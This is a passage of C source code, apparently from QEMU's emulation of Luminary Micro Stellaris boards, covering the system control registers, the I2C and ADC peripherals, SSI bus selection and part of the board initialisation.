358 0x935b, /* 4.9152 Mhz */
359 0x09c0, /* 5 Mhz */
360 0x4dee, /* 5.12 Mhz */
361 0x0c41, /* 6 Mhz */
362 0x75db, /* 6.144 Mhz */
363 0x1ae6, /* 7.3728 Mhz */
364 0x0600, /* 8 Mhz */
365 0x585b /* 8.192 Mhz */
366 };
367
368 static uint32_t pllcfg_fury[16] = {
369 0x3200, /* 1 Mhz */
370 0x1b20, /* 1.8432 Mhz */
371 0x1900, /* 2 Mhz */
372 0xf42b, /* 2.4576 Mhz */
373 0x37e3, /* 3.57954 Mhz */
374 0x1b21, /* 3.6864 Mhz */
375 0x0c80, /* 4 Mhz */
376 0x98ee, /* 4.906 Mhz */
377 0xd5b4, /* 4.9152 Mhz */
378 0x0a00, /* 5 Mhz */
379 0x4e27, /* 5.12 Mhz */
380 0x1902, /* 6 Mhz */
381 0xec1c, /* 6.144 Mhz */
382 0x1b23, /* 7.3728 Mhz */
383 0x0640, /* 8 Mhz */
384 0xb11c /* 8.192 Mhz */
385 };
386
387 #define DID0_VER_MASK 0x70000000
388 #define DID0_VER_0 0x00000000
389 #define DID0_VER_1 0x10000000
390
391 #define DID0_CLASS_MASK 0x00FF0000
392 #define DID0_CLASS_SANDSTORM 0x00000000
393 #define DID0_CLASS_FURY 0x00010000
394
395 static int ssys_board_class(const ssys_state *s)
396 {
397 uint32_t did0 = s->board->did0;
398 switch (did0 & DID0_VER_MASK) {
399 case DID0_VER_0:
400 return DID0_CLASS_SANDSTORM;
401 case DID0_VER_1:
402 switch (did0 & DID0_CLASS_MASK) {
403 case DID0_CLASS_SANDSTORM:
404 case DID0_CLASS_FURY:
405 return did0 & DID0_CLASS_MASK;
406 }
407 /* for unknown classes, fall through */
408 default:
409 hw_error("ssys_board_class: Unknown class 0x%08x\n", did0);
410 }
411 }
412
413 static uint64_t ssys_read(void *opaque, target_phys_addr_t offset,
414 unsigned size)
415 {
416 ssys_state *s = (ssys_state *)opaque;
417
418 switch (offset) {
419 case 0x000: /* DID0 */
420 return s->board->did0;
421 case 0x004: /* DID1 */
422 return s->board->did1;
423 case 0x008: /* DC0 */
424 return s->board->dc0;
425 case 0x010: /* DC1 */
426 return s->board->dc1;
427 case 0x014: /* DC2 */
428 return s->board->dc2;
429 case 0x018: /* DC3 */
430 return s->board->dc3;
431 case 0x01c: /* DC4 */
432 return s->board->dc4;
433 case 0x030: /* PBORCTL */
434 return s->pborctl;
435 case 0x034: /* LDOPCTL */
436 return s->ldopctl;
437 case 0x040: /* SRCR0 */
438 return 0;
439 case 0x044: /* SRCR1 */
440 return 0;
441 case 0x048: /* SRCR2 */
442 return 0;
443 case 0x050: /* RIS */
444 return s->int_status;
445 case 0x054: /* IMC */
446 return s->int_mask;
447 case 0x058: /* MISC */
448 return s->int_status & s->int_mask;
449 case 0x05c: /* RESC */
450 return s->resc;
451 case 0x060: /* RCC */
452 return s->rcc;
453 case 0x064: /* PLLCFG */
454 {
455 int xtal;
456 xtal = (s->rcc >> 6) & 0xf;
457 switch (ssys_board_class(s)) {
458 case DID0_CLASS_FURY:
459 return pllcfg_fury[xtal];
460 case DID0_CLASS_SANDSTORM:
461 return pllcfg_sandstorm[xtal];
462 default:
463 hw_error("ssys_read: Unhandled class for PLLCFG read.\n");
464 return 0;
465 }
466 }
467 case 0x070: /* RCC2 */
468 return s->rcc2;
469 case 0x100: /* RCGC0 */
470 return s->rcgc[0];
471 case 0x104: /* RCGC1 */
472 return s->rcgc[1];
473 case 0x108: /* RCGC2 */
474 return s->rcgc[2];
475 case 0x110: /* SCGC0 */
476 return s->scgc[0];
477 case 0x114: /* SCGC1 */
478 return s->scgc[1];
479 case 0x118: /* SCGC2 */
480 return s->scgc[2];
481 case 0x120: /* DCGC0 */
482 return s->dcgc[0];
483 case 0x124: /* DCGC1 */
484 return s->dcgc[1];
485 case 0x128: /* DCGC2 */
486 return s->dcgc[2];
487 case 0x150: /* CLKVCLR */
488 return s->clkvclr;
489 case 0x160: /* LDOARST */
490 return s->ldoarst;
491 case 0x1e0: /* USER0 */
492 return s->user0;
493 case 0x1e4: /* USER1 */
494 return s->user1;
495 default:
496 hw_error("ssys_read: Bad offset 0x%x\n", (int)offset);
497 return 0;
498 }
499 }
500
501 static bool ssys_use_rcc2(ssys_state *s)
502 {
503 return (s->rcc2 >> 31) & 0x1;
504 }
505
506 /*
507 * Caculate the sys. clock period in ms.
508 */
509 static void ssys_calculate_system_clock(ssys_state *s)
510 {
511 if (ssys_use_rcc2(s)) {
512 system_clock_scale = 5 * (((s->rcc2 >> 23) & 0x3f) + 1);
513 } else {
514 system_clock_scale = 5 * (((s->rcc >> 23) & 0xf) + 1);
515 }
516 }
517
518 static void ssys_write(void *opaque, target_phys_addr_t offset,
519 uint64_t value, unsigned size)
520 {
521 ssys_state *s = (ssys_state *)opaque;
522
523 switch (offset) {
524 case 0x030: /* PBORCTL */
525 s->pborctl = value & 0xffff;
526 break;
527 case 0x034: /* LDOPCTL */
528 s->ldopctl = value & 0x1f;
529 break;
530 case 0x040: /* SRCR0 */
531 case 0x044: /* SRCR1 */
532 case 0x048: /* SRCR2 */
533 fprintf(stderr, "Peripheral reset not implemented\n");
534 break;
535 case 0x054: /* IMC */
536 s->int_mask = value & 0x7f;
537 break;
538 case 0x058: /* MISC */
539 s->int_status &= ~value;
540 break;
541 case 0x05c: /* RESC */
542 s->resc = value & 0x3f;
543 break;
544 case 0x060: /* RCC */
545 if ((s->rcc & (1 << 13)) != 0 && (value & (1 << 13)) == 0) {
546 /* PLL enable. */
547 s->int_status |= (1 << 6);
548 }
549 s->rcc = value;
550 ssys_calculate_system_clock(s);
551 break;
552 case 0x070: /* RCC2 */
553 if (ssys_board_class(s) == DID0_CLASS_SANDSTORM) {
554 break;
555 }
556
557 if ((s->rcc2 & (1 << 13)) != 0 && (value & (1 << 13)) == 0) {
558 /* PLL enable. */
559 s->int_status |= (1 << 6);
560 }
561 s->rcc2 = value;
562 ssys_calculate_system_clock(s);
563 break;
564 case 0x100: /* RCGC0 */
565 s->rcgc[0] = value;
566 break;
567 case 0x104: /* RCGC1 */
568 s->rcgc[1] = value;
569 break;
570 case 0x108: /* RCGC2 */
571 s->rcgc[2] = value;
572 break;
573 case 0x110: /* SCGC0 */
574 s->scgc[0] = value;
575 break;
576 case 0x114: /* SCGC1 */
577 s->scgc[1] = value;
578 break;
579 case 0x118: /* SCGC2 */
580 s->scgc[2] = value;
581 break;
582 case 0x120: /* DCGC0 */
583 s->dcgc[0] = value;
584 break;
585 case 0x124: /* DCGC1 */
586 s->dcgc[1] = value;
587 break;
588 case 0x128: /* DCGC2 */
589 s->dcgc[2] = value;
590 break;
591 case 0x150: /* CLKVCLR */
592 s->clkvclr = value;
593 break;
594 case 0x160: /* LDOARST */
595 s->ldoarst = value;
596 break;
597 default:
598 hw_error("ssys_write: Bad offset 0x%x\n", (int)offset);
599 }
600 ssys_update(s);
601 }
602
603 static const MemoryRegionOps ssys_ops = {
604 .read = ssys_read,
605 .write = ssys_write,
606 .endianness = DEVICE_NATIVE_ENDIAN,
607 };
608
609 static void ssys_reset(void *opaque)
610 {
611 ssys_state *s = (ssys_state *)opaque;
612
613 s->pborctl = 0x7ffd;
614 s->rcc = 0x078e3ac0;
615
616 if (ssys_board_class(s) == DID0_CLASS_SANDSTORM) {
617 s->rcc2 = 0;
618 } else {
619 s->rcc2 = 0x07802810;
620 }
621 s->rcgc[0] = 1;
622 s->scgc[0] = 1;
623 s->dcgc[0] = 1;
624 ssys_calculate_system_clock(s);
625 }
626
627 static int stellaris_sys_post_load(void *opaque, int version_id)
628 {
629 ssys_state *s = opaque;
630
631 ssys_calculate_system_clock(s);
632
633 return 0;
634 }
635
636 static const VMStateDescription vmstate_stellaris_sys = {
637 .name = "stellaris_sys",
638 .version_id = 2,
639 .minimum_version_id = 1,
640 .minimum_version_id_old = 1,
641 .post_load = stellaris_sys_post_load,
642 .fields = (VMStateField[]) {
643 VMSTATE_UINT32(pborctl, ssys_state),
644 VMSTATE_UINT32(ldopctl, ssys_state),
645 VMSTATE_UINT32(int_mask, ssys_state),
646 VMSTATE_UINT32(int_status, ssys_state),
647 VMSTATE_UINT32(resc, ssys_state),
648 VMSTATE_UINT32(rcc, ssys_state),
649 VMSTATE_UINT32_V(rcc2, ssys_state, 2),
650 VMSTATE_UINT32_ARRAY(rcgc, ssys_state, 3),
651 VMSTATE_UINT32_ARRAY(scgc, ssys_state, 3),
652 VMSTATE_UINT32_ARRAY(dcgc, ssys_state, 3),
653 VMSTATE_UINT32(clkvclr, ssys_state),
654 VMSTATE_UINT32(ldoarst, ssys_state),
655 VMSTATE_END_OF_LIST()
656 }
657 };
658
659 static int stellaris_sys_init(uint32_t base, qemu_irq irq,
660 stellaris_board_info * board,
661 uint8_t *macaddr)
662 {
663 ssys_state *s;
664
665 s = (ssys_state *)g_malloc0(sizeof(ssys_state));
666 s->irq = irq;
667 s->board = board;
668 /* Most devices come preprogrammed with a MAC address in the user data. */
669 s->user0 = macaddr[0] | (macaddr[1] << 8) | (macaddr[2] << 16);
670 s->user1 = macaddr[3] | (macaddr[4] << 8) | (macaddr[5] << 16);
671
672 memory_region_init_io(&s->iomem, &ssys_ops, s, "ssys", 0x00001000);
673 memory_region_add_subregion(get_system_memory(), base, &s->iomem);
674 ssys_reset(s);
675 vmstate_register(NULL, -1, &vmstate_stellaris_sys, s);
676 return 0;
677 }
678
679
680 /* I2C controller. */
681
682 typedef struct {
683 SysBusDevice busdev;
684 i2c_bus *bus;
685 qemu_irq irq;
686 MemoryRegion iomem;
687 uint32_t msa;
688 uint32_t mcs;
689 uint32_t mdr;
690 uint32_t mtpr;
691 uint32_t mimr;
692 uint32_t mris;
693 uint32_t mcr;
694 } stellaris_i2c_state;
695
696 #define STELLARIS_I2C_MCS_BUSY 0x01
697 #define STELLARIS_I2C_MCS_ERROR 0x02
698 #define STELLARIS_I2C_MCS_ADRACK 0x04
699 #define STELLARIS_I2C_MCS_DATACK 0x08
700 #define STELLARIS_I2C_MCS_ARBLST 0x10
701 #define STELLARIS_I2C_MCS_IDLE 0x20
702 #define STELLARIS_I2C_MCS_BUSBSY 0x40
703
704 static uint64_t stellaris_i2c_read(void *opaque, target_phys_addr_t offset,
705 unsigned size)
706 {
707 stellaris_i2c_state *s = (stellaris_i2c_state *)opaque;
708
709 switch (offset) {
710 case 0x00: /* MSA */
711 return s->msa;
712 case 0x04: /* MCS */
713 /* We don't emulate timing, so the controller is never busy. */
714 return s->mcs | STELLARIS_I2C_MCS_IDLE;
715 case 0x08: /* MDR */
716 return s->mdr;
717 case 0x0c: /* MTPR */
718 return s->mtpr;
719 case 0x10: /* MIMR */
720 return s->mimr;
721 case 0x14: /* MRIS */
722 return s->mris;
723 case 0x18: /* MMIS */
724 return s->mris & s->mimr;
725 case 0x20: /* MCR */
726 return s->mcr;
727 default:
728 hw_error("strllaris_i2c_read: Bad offset 0x%x\n", (int)offset);
729 return 0;
730 }
731 }
732
733 static void stellaris_i2c_update(stellaris_i2c_state *s)
734 {
735 int level;
736
737 level = (s->mris & s->mimr) != 0;
738 qemu_set_irq(s->irq, level);
739 }
740
741 static void stellaris_i2c_write(void *opaque, target_phys_addr_t offset,
742 uint64_t value, unsigned size)
743 {
744 stellaris_i2c_state *s = (stellaris_i2c_state *)opaque;
745
746 switch (offset) {
747 case 0x00: /* MSA */
748 s->msa = value & 0xff;
749 break;
750 case 0x04: /* MCS */
751 if ((s->mcr & 0x10) == 0) {
752 /* Disabled. Do nothing. */
753 break;
754 }
755 /* Grab the bus if this is starting a transfer. */
756 if ((value & 2) && (s->mcs & STELLARIS_I2C_MCS_BUSBSY) == 0) {
757 if (i2c_start_transfer(s->bus, s->msa >> 1, s->msa & 1)) {
758 s->mcs |= STELLARIS_I2C_MCS_ARBLST;
759 } else {
760 s->mcs &= ~STELLARIS_I2C_MCS_ARBLST;
761 s->mcs |= STELLARIS_I2C_MCS_BUSBSY;
762 }
763 }
764 /* If we don't have the bus then indicate an error. */
765 if (!i2c_bus_busy(s->bus)
766 || (s->mcs & STELLARIS_I2C_MCS_BUSBSY) == 0) {
767 s->mcs |= STELLARIS_I2C_MCS_ERROR;
768 break;
769 }
770 s->mcs &= ~STELLARIS_I2C_MCS_ERROR;
771 if (value & 1) {
772 /* Transfer a byte. */
773 /* TODO: Handle errors. */
774 if (s->msa & 1) {
775 /* Recv */
776 s->mdr = i2c_recv(s->bus) & 0xff;
777 } else {
778 /* Send */
779 i2c_send(s->bus, s->mdr);
780 }
781 /* Raise an interrupt. */
782 s->mris |= 1;
783 }
784 if (value & 4) {
785 /* Finish transfer. */
786 i2c_end_transfer(s->bus);
787 s->mcs &= ~STELLARIS_I2C_MCS_BUSBSY;
788 }
789 break;
790 case 0x08: /* MDR */
791 s->mdr = value & 0xff;
792 break;
793 case 0x0c: /* MTPR */
794 s->mtpr = value & 0xff;
795 break;
796 case 0x10: /* MIMR */
797 s->mimr = 1;
798 break;
799 case 0x1c: /* MICR */
800 s->mris &= ~value;
801 break;
802 case 0x20: /* MCR */
803 if (value & 1)
804 hw_error(
805 "stellaris_i2c_write: Loopback not implemented\n");
806 if (value & 0x20)
807 hw_error(
808 "stellaris_i2c_write: Slave mode not implemented\n");
809 s->mcr = value & 0x31;
810 break;
811 default:
812 hw_error("stellaris_i2c_write: Bad offset 0x%x\n",
813 (int)offset);
814 }
815 stellaris_i2c_update(s);
816 }
817
818 static void stellaris_i2c_reset(stellaris_i2c_state *s)
819 {
820 if (s->mcs & STELLARIS_I2C_MCS_BUSBSY)
821 i2c_end_transfer(s->bus);
822
823 s->msa = 0;
824 s->mcs = 0;
825 s->mdr = 0;
826 s->mtpr = 1;
827 s->mimr = 0;
828 s->mris = 0;
829 s->mcr = 0;
830 stellaris_i2c_update(s);
831 }
832
833 static const MemoryRegionOps stellaris_i2c_ops = {
834 .read = stellaris_i2c_read,
835 .write = stellaris_i2c_write,
836 .endianness = DEVICE_NATIVE_ENDIAN,
837 };
838
839 static const VMStateDescription vmstate_stellaris_i2c = {
840 .name = "stellaris_i2c",
841 .version_id = 1,
842 .minimum_version_id = 1,
843 .minimum_version_id_old = 1,
844 .fields = (VMStateField[]) {
845 VMSTATE_UINT32(msa, stellaris_i2c_state),
846 VMSTATE_UINT32(mcs, stellaris_i2c_state),
847 VMSTATE_UINT32(mdr, stellaris_i2c_state),
848 VMSTATE_UINT32(mtpr, stellaris_i2c_state),
849 VMSTATE_UINT32(mimr, stellaris_i2c_state),
850 VMSTATE_UINT32(mris, stellaris_i2c_state),
851 VMSTATE_UINT32(mcr, stellaris_i2c_state),
852 VMSTATE_END_OF_LIST()
853 }
854 };
855
856 static int stellaris_i2c_init(SysBusDevice * dev)
857 {
858 stellaris_i2c_state *s = FROM_SYSBUS(stellaris_i2c_state, dev);
859 i2c_bus *bus;
860
861 sysbus_init_irq(dev, &s->irq);
862 bus = i2c_init_bus(&dev->qdev, "i2c");
863 s->bus = bus;
864
865 memory_region_init_io(&s->iomem, &stellaris_i2c_ops, s,
866 "i2c", 0x1000);
867 sysbus_init_mmio(dev, &s->iomem);
868 /* ??? For now we only implement the master interface. */
869 stellaris_i2c_reset(s);
870 vmstate_register(&dev->qdev, -1, &vmstate_stellaris_i2c, s);
871 return 0;
872 }
873
874 /* Analogue to Digital Converter. This is only partially implemented,
875 enough for applications that use a combined ADC and timer tick. */
876
877 #define STELLARIS_ADC_EM_CONTROLLER 0
878 #define STELLARIS_ADC_EM_COMP 1
879 #define STELLARIS_ADC_EM_EXTERNAL 4
880 #define STELLARIS_ADC_EM_TIMER 5
881 #define STELLARIS_ADC_EM_PWM0 6
882 #define STELLARIS_ADC_EM_PWM1 7
883 #define STELLARIS_ADC_EM_PWM2 8
884
885 #define STELLARIS_ADC_FIFO_EMPTY 0x0100
886 #define STELLARIS_ADC_FIFO_FULL 0x1000
887
888 typedef struct
889 {
890 SysBusDevice busdev;
891 MemoryRegion iomem;
892 uint32_t actss;
893 uint32_t ris;
894 uint32_t im;
895 uint32_t emux;
896 uint32_t ostat;
897 uint32_t ustat;
898 uint32_t sspri;
899 uint32_t sac;
900 struct {
901 uint32_t state;
902 uint32_t data[16];
903 } fifo[4];
904 uint32_t ssmux[4];
905 uint32_t ssctl[4];
906 uint32_t noise;
907 qemu_irq irq[4];
908 } stellaris_adc_state;
909
910 static uint32_t stellaris_adc_fifo_read(stellaris_adc_state *s, int n)
911 {
912 int tail;
913
914 tail = s->fifo[n].state & 0xf;
915 if (s->fifo[n].state & STELLARIS_ADC_FIFO_EMPTY) {
916 s->ustat |= 1 << n;
917 } else {
918 s->fifo[n].state = (s->fifo[n].state & ~0xf) | ((tail + 1) & 0xf);
919 s->fifo[n].state &= ~STELLARIS_ADC_FIFO_FULL;
920 if (tail + 1 == ((s->fifo[n].state >> 4) & 0xf))
921 s->fifo[n].state |= STELLARIS_ADC_FIFO_EMPTY;
922 }
923 return s->fifo[n].data[tail];
924 }
925
926 static void stellaris_adc_fifo_write(stellaris_adc_state *s, int n,
927 uint32_t value)
928 {
929 int head;
930
931 /* TODO: Real hardware has limited size FIFOs. We have a full 16 entry
932 FIFO fir each sequencer. */
933 head = (s->fifo[n].state >> 4) & 0xf;
934 if (s->fifo[n].state & STELLARIS_ADC_FIFO_FULL) {
935 s->ostat |= 1 << n;
936 return;
937 }
938 s->fifo[n].data[head] = value;
939 head = (head + 1) & 0xf;
940 s->fifo[n].state &= ~STELLARIS_ADC_FIFO_EMPTY;
941 s->fifo[n].state = (s->fifo[n].state & ~0xf0) | (head << 4);
942 if ((s->fifo[n].state & 0xf) == head)
943 s->fifo[n].state |= STELLARIS_ADC_FIFO_FULL;
944 }
945
946 static void stellaris_adc_update(stellaris_adc_state *s)
947 {
948 int level;
949 int n;
950
951 for (n = 0; n < 4; n++) {
952 level = (s->ris & s->im & (1 << n)) != 0;
953 qemu_set_irq(s->irq[n], level);
954 }
955 }
956
957 static void stellaris_adc_trigger(void *opaque, int irq, int level)
958 {
959 stellaris_adc_state *s = (stellaris_adc_state *)opaque;
960 int n;
961
962 for (n = 0; n < 4; n++) {
963 if ((s->actss & (1 << n)) == 0) {
964 continue;
965 }
966
967 if (((s->emux >> (n * 4)) & 0xff) != 5) {
968 continue;
969 }
970
971 /* Some applications use the ADC as a random number source, so introduce
972 some variation into the signal. */
973 s->noise = s->noise * 314159 + 1;
974 /* ??? actual inputs not implemented. Return an arbitrary value. */
975 stellaris_adc_fifo_write(s, n, 0x200 + ((s->noise >> 16) & 7));
976 s->ris |= (1 << n);
977 stellaris_adc_update(s);
978 }
979 }
980
981 static void stellaris_adc_reset(stellaris_adc_state *s)
982 {
983 int n;
984
985 for (n = 0; n < 4; n++) {
986 s->ssmux[n] = 0;
987 s->ssctl[n] = 0;
988 s->fifo[n].state = STELLARIS_ADC_FIFO_EMPTY;
989 }
990 }
991
992 static uint64_t stellaris_adc_read(void *opaque, target_phys_addr_t offset,
993 unsigned size)
994 {
995 stellaris_adc_state *s = (stellaris_adc_state *)opaque;
996
997 /* TODO: Implement this. */
998 if (offset >= 0x40 && offset < 0xc0) {
999 int n;
1000 n = (offset - 0x40) >> 5;
1001 switch (offset & 0x1f) {
1002 case 0x00: /* SSMUX */
1003 return s->ssmux[n];
1004 case 0x04: /* SSCTL */
1005 return s->ssctl[n];
1006 case 0x08: /* SSFIFO */
1007 return stellaris_adc_fifo_read(s, n);
1008 case 0x0c: /* SSFSTAT */
1009 return s->fifo[n].state;
1010 default:
1011 break;
1012 }
1013 }
1014 switch (offset) {
1015 case 0x00: /* ACTSS */
1016 return s->actss;
1017 case 0x04: /* RIS */
1018 return s->ris;
1019 case 0x08: /* IM */
1020 return s->im;
1021 case 0x0c: /* ISC */
1022 return s->ris & s->im;
1023 case 0x10: /* OSTAT */
1024 return s->ostat;
1025 case 0x14: /* EMUX */
1026 return s->emux;
1027 case 0x18: /* USTAT */
1028 return s->ustat;
1029 case 0x20: /* SSPRI */
1030 return s->sspri;
1031 case 0x30: /* SAC */
1032 return s->sac;
1033 default:
1034 hw_error("strllaris_adc_read: Bad offset 0x%x\n",
1035 (int)offset);
1036 return 0;
1037 }
1038 }
1039
1040 static void stellaris_adc_write(void *opaque, target_phys_addr_t offset,
1041 uint64_t value, unsigned size)
1042 {
1043 stellaris_adc_state *s = (stellaris_adc_state *)opaque;
1044
1045 /* TODO: Implement this. */
1046 if (offset >= 0x40 && offset < 0xc0) {
1047 int n;
1048 n = (offset - 0x40) >> 5;
1049 switch (offset & 0x1f) {
1050 case 0x00: /* SSMUX */
1051 s->ssmux[n] = value & 0x33333333;
1052 return;
1053 case 0x04: /* SSCTL */
1054 if (value != 6) {
1055 hw_error("ADC: Unimplemented sequence %" PRIx64 "\n",
1056 value);
1057 }
1058 s->ssctl[n] = value;
1059 return;
1060 default:
1061 break;
1062 }
1063 }
1064 switch (offset) {
1065 case 0x00: /* ACTSS */
1066 s->actss = value & 0xf;
1067 break;
1068 case 0x08: /* IM */
1069 s->im = value;
1070 break;
1071 case 0x0c: /* ISC */
1072 s->ris &= ~value;
1073 break;
1074 case 0x10: /* OSTAT */
1075 s->ostat &= ~value;
1076 break;
1077 case 0x14: /* EMUX */
1078 s->emux = value;
1079 break;
1080 case 0x18: /* USTAT */
1081 s->ustat &= ~value;
1082 break;
1083 case 0x20: /* SSPRI */
1084 s->sspri = value;
1085 break;
1086 case 0x28: /* PSSI */
1087 hw_error("Not implemented: ADC sample initiate\n");
1088 break;
1089 case 0x30: /* SAC */
1090 s->sac = value;
1091 break;
1092 default:
1093 hw_error("stellaris_adc_write: Bad offset 0x%x\n", (int)offset);
1094 }
1095 stellaris_adc_update(s);
1096 }
1097
1098 static const MemoryRegionOps stellaris_adc_ops = {
1099 .read = stellaris_adc_read,
1100 .write = stellaris_adc_write,
1101 .endianness = DEVICE_NATIVE_ENDIAN,
1102 };
1103
1104 static const VMStateDescription vmstate_stellaris_adc = {
1105 .name = "stellaris_adc",
1106 .version_id = 1,
1107 .minimum_version_id = 1,
1108 .minimum_version_id_old = 1,
1109 .fields = (VMStateField[]) {
1110 VMSTATE_UINT32(actss, stellaris_adc_state),
1111 VMSTATE_UINT32(ris, stellaris_adc_state),
1112 VMSTATE_UINT32(im, stellaris_adc_state),
1113 VMSTATE_UINT32(emux, stellaris_adc_state),
1114 VMSTATE_UINT32(ostat, stellaris_adc_state),
1115 VMSTATE_UINT32(ustat, stellaris_adc_state),
1116 VMSTATE_UINT32(sspri, stellaris_adc_state),
1117 VMSTATE_UINT32(sac, stellaris_adc_state),
1118 VMSTATE_UINT32(fifo[0].state, stellaris_adc_state),
1119 VMSTATE_UINT32_ARRAY(fifo[0].data, stellaris_adc_state, 16),
1120 VMSTATE_UINT32(ssmux[0], stellaris_adc_state),
1121 VMSTATE_UINT32(ssctl[0], stellaris_adc_state),
1122 VMSTATE_UINT32(fifo[1].state, stellaris_adc_state),
1123 VMSTATE_UINT32_ARRAY(fifo[1].data, stellaris_adc_state, 16),
1124 VMSTATE_UINT32(ssmux[1], stellaris_adc_state),
1125 VMSTATE_UINT32(ssctl[1], stellaris_adc_state),
1126 VMSTATE_UINT32(fifo[2].state, stellaris_adc_state),
1127 VMSTATE_UINT32_ARRAY(fifo[2].data, stellaris_adc_state, 16),
1128 VMSTATE_UINT32(ssmux[2], stellaris_adc_state),
1129 VMSTATE_UINT32(ssctl[2], stellaris_adc_state),
1130 VMSTATE_UINT32(fifo[3].state, stellaris_adc_state),
1131 VMSTATE_UINT32_ARRAY(fifo[3].data, stellaris_adc_state, 16),
1132 VMSTATE_UINT32(ssmux[3], stellaris_adc_state),
1133 VMSTATE_UINT32(ssctl[3], stellaris_adc_state),
1134 VMSTATE_UINT32(noise, stellaris_adc_state),
1135 VMSTATE_END_OF_LIST()
1136 }
1137 };
1138
1139 static int stellaris_adc_init(SysBusDevice *dev)
1140 {
1141 stellaris_adc_state *s = FROM_SYSBUS(stellaris_adc_state, dev);
1142 int n;
1143
1144 for (n = 0; n < 4; n++) {
1145 sysbus_init_irq(dev, &s->irq[n]);
1146 }
1147
1148 memory_region_init_io(&s->iomem, &stellaris_adc_ops, s,
1149 "adc", 0x1000);
1150 sysbus_init_mmio(dev, &s->iomem);
1151 stellaris_adc_reset(s);
1152 qdev_init_gpio_in(&dev->qdev, stellaris_adc_trigger, 1);
1153 vmstate_register(&dev->qdev, -1, &vmstate_stellaris_adc, s);
1154 return 0;
1155 }
1156
1157 /* Some boards have both an OLED controller and SD card connected to
1158 the same SSI port, with the SD card chip select connected to a
1159 GPIO pin. Technically the OLED chip select is connected to the SSI
1160 Fss pin. We do not bother emulating that as both devices should
1161 never be selected simultaneously, and our OLED controller ignores stray
1162 0xff commands that occur when deselecting the SD card. */
1163
1164 typedef struct {
1165 SSISlave ssidev;
1166 qemu_irq irq;
1167 int current_dev;
1168 SSIBus *bus[2];
1169 } stellaris_ssi_bus_state;
1170
1171 static void stellaris_ssi_bus_select(void *opaque, int irq, int level)
1172 {
1173 stellaris_ssi_bus_state *s = (stellaris_ssi_bus_state *)opaque;
1174
1175 s->current_dev = level;
1176 }
1177
1178 static uint32_t stellaris_ssi_bus_transfer(SSISlave *dev, uint32_t val)
1179 {
1180 stellaris_ssi_bus_state *s = FROM_SSI_SLAVE(stellaris_ssi_bus_state, dev);
1181
1182 return ssi_transfer(s->bus[s->current_dev], val);
1183 }
1184
1185 static const VMStateDescription vmstate_stellaris_ssi_bus = {
1186 .name = "stellaris_ssi_bus",
1187 .version_id = 1,
1188 .minimum_version_id = 1,
1189 .minimum_version_id_old = 1,
1190 .fields = (VMStateField[]) {
1191 VMSTATE_INT32(current_dev, stellaris_ssi_bus_state),
1192 VMSTATE_END_OF_LIST()
1193 }
1194 };
1195
1196 static int stellaris_ssi_bus_init(SSISlave *dev)
1197 {
1198 stellaris_ssi_bus_state *s = FROM_SSI_SLAVE(stellaris_ssi_bus_state, dev);
1199
1200 s->bus[0] = ssi_create_bus(&dev->qdev, "ssi0");
1201 s->bus[1] = ssi_create_bus(&dev->qdev, "ssi1");
1202 qdev_init_gpio_in(&dev->qdev, stellaris_ssi_bus_select, 1);
1203
1204 vmstate_register(&dev->qdev, -1, &vmstate_stellaris_ssi_bus, s);
1205 return 0;
1206 }
1207
1208 /* Board init. */
1209 static stellaris_board_info stellaris_boards[] = {
1210 { "LM3S811EVB",
1211 0,
1212 0x0032000e,
1213 0x001f001f, /* dc0 */
1214 0x001132bf,
1215 0x01071013,
1216 0x3f0f01ff,
1217 0x0000001f,
1218 BP_OLED_I2C
1219 },
1220 { "LM3S6965EVB",
1221 0x10010002,
1222 0x1073402e,
1223 0x00ff007f, /* dc0 */
1224 0x001133ff,
1225 0x030f5317,
1226 0x0f0f87ff,
1227 0x5000007f,
1228 BP_OLED_SSI | BP_GAMEPAD
1229 }
1230 };
1231
1232 static void stellaris_init(const char *kernel_filename, const char *cpu_model,
1233 stellaris_board_info *board)
1234 {
1235 static const int uart_irq[] = {5, 6, 33, 34};
1236 static const int timer_irq[] = {19, 21, 23, 35};
1237 static const uint32_t gpio_addr[7] =
1238 { 0x40004000, 0x40005000, 0x40006000, 0x40007000,
1239 0x40024000, 0x40025000, 0x40026000};
1240 static const int gpio_irq[7] = {0, 1, 2, 3, 4, 30, 31};
1241
1242 MemoryRegion *address_space_mem = get_system_memory();
1243 qemu_irq *pic;
1244 DeviceState *gpio_dev[7];
1245 qemu_irq gpio_in[7][8];
1246 qemu_irq gpio_out[7][8];
1247 qemu_irq adc;
1248 int sram_size;
1249 int flash_size;
1250 i2c_bus *i2c;
1251 DeviceState *dev;
1252 int i;
1253 int j;
1254
1255 flash_size = ((board->dc0 & 0xffff) + 1) << 1;
1256 sram_size = (board->dc0 >> 18) + 1;
1257 pic = armv7m_init(address_space_mem,
1258 flash_size, sram_size, kernel_filename, cpu_model);
1259
1260 if (board->dc1 & (1 << 16)) {
1261 dev = sysbus_create_varargs("stellaris-adc", 0x40038000,
1262 pic[14], pic[15], pic[16], pic[17], NULL);
1263 adc = qdev_get_gpio_in(dev, 0);
1264 } else {
1265 adc = NULL;
1266 }
1267 for (i = 0; i < 4; i++) {
1268 if (board->dc2 & (0x10000 << i)) {
1269 dev = sysbus_create_simple("stellaris-gptm",
1270 0x40030000 + i * 0x1000,
1271 pic[timer_irq[i]]);
1272 /* TODO: This is incorrect, but we get away with it because
1273 the ADC output is only ever pulsed. */
1274 qdev_connect_gpio_out(dev, 0, adc);
1275 }
1276 }
1277
1278 stellaris_sys_init(0x400fe000, pic[28], board, nd_table[0].macaddr.a);
1279
1280 for (i = 0; i < 7; i++) {
1281 if (board->dc4 & (1 << i)) {
1282 gpio_dev[i] = sysbus_create_simple("pl061_luminary", gpio_addr[i],
1283 pic[gpio_irq[i]]);
1284 for (j = 0; j < 8; j++) {
1285 gpio_in[i][j] = qdev_get_gpio_in(gpio_dev[i], j);
1286 gpio_out[i][j] = NULL;
1287 }
1288 }
1289 }
1290
1291 if (board->dc2 & (1 << 12)) {
1292 dev = sysbus_create_simple("stellaris-i2c", 0x40020000, pic[8]);
1293 i2c = (i2c_bus *)qdev_get_child_bus(dev, "i2c");
1294 if (board->peripherals & BP_OLED_I2C) {
1295 i2c_create_slave(i2c, "ssd0303", 0x3d);
1296 }
1297 }
1298
1299 for (i = 0; i < 4; i++) {
1300 if (board->dc2 & (1 << i)) {
1301 sysbus_create_simple("pl011_luminary", 0x4000c000 + i * 0x1000,
1302 pic[uart_irq[i]]);
1303 }
1304 }
1305 if (board->dc2 & (1 << 4)) {
1306 dev = sysbus_create_simple("pl022", 0x40008000, pic[7]);
1307 if (board->peripherals & BP_OLED_SSI) {
1308 DeviceState *mux;
1309 void *bus;
1310
